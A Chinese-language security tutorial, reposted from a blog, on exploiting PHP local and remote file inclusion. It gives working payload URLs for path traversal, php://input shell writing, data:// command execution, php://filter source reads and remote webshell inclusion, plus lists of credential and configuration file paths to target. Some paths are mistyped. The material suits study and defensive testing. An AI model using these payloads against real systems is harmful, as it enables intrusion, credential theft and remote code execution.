文件包含漏洞发现与利用
程序在引用文件的时,引用的文件名,用户可控的情况,传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入。
一、本地包含漏洞 :被包含的文件在服务器本地
本地包含漏洞利用
包含/etc/passwd
http://www.webtester.com/include/file01.php?file=../../../../etc/passwd
1. 利用 上传图片->包含图片Getshell
答:文件包含:只要文件里是php代码,不管后缀是什么都会执行。就算后缀是.jpg,可以会执行(这里可以使用图片马)
2.读取文件,读php源代码
3.包含日志文件Getshell
答:想办法把payload写入日志,然后包含日志文件
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log
4.包含proc/self/environ 文件getshell
这里可以参考这篇文章来详细了解一下proc/self/environ
LFI通过proc/self/environ直接获取webshell
5.phpinfo 包含临时文件
6.伪协议
伪协议 包含data:// 或者php://等协议(allow_url_include=On)
- php://input
说明:
用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。
条件:
php <5.0 ,allow_url_include=Off 情况下也可以用
php > 5.0,只有在allow_url_fopen=On 时才能使用
URL:
http://www.webtester.com/include/file01.php?file=php://input
POST:
<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>6.2)data://
说明:
这是一种数据流封装器,data:URI schema(URL schema可以是很多形式)
利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中
条件:
allow_url_include=On
php > 5.2
http://www.webtester.com//include/file01.php?file=data:text/plain,<?php system(id)?>
http://www.webtester.com//include/file01.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==
6.3)php://filter
说明:
这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过来:
访问上述URL后会返回config.php中经过Base64加密后的字符串,解密即可得到源码
http://www.webtester.com/include/file01.php?file=php://filter/read=convert.base64-encode/resource=file01.php
5)读取网站配置文件
dedecms数据库配置文件data/common.inc.php,
discuz全局配置文件config/config_global.php,
phpcms配置文件caches/configs/database.php
phpwind配置文件conf/database.php
wordpress配置文件wp-config.php
6)包含系统配置文件
windows
C:/boot.ini //查看系统版本
C:/Windows/System32/inetsrv/MetaBase.xml //IIS配置文件
C:/Windows/repairsam //存储系统初次安装的密码
C:/Program Files/mysql/my.ini //Mysql配置
C:/Program Files/mysql/data/mysql/user.MYD //Mysql root
C:/Windows/php.ini //php配置信息
C:/Windows/my.ini //Mysql配置信息
linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
二、远程包含:被包含的文件在第三方服务器
条件 php.ini 中的配置项
allow_url_fopen On
allow_url_include On
包含远程WEBSHELL
http://www.webtester.com/include/file01.php?file=http://192.168.0.121/x.txt
文件是可看得到 包含过来的文件最好是个txt。
转载:https://blog.csdn.net/qq_45300786/article/details/117173148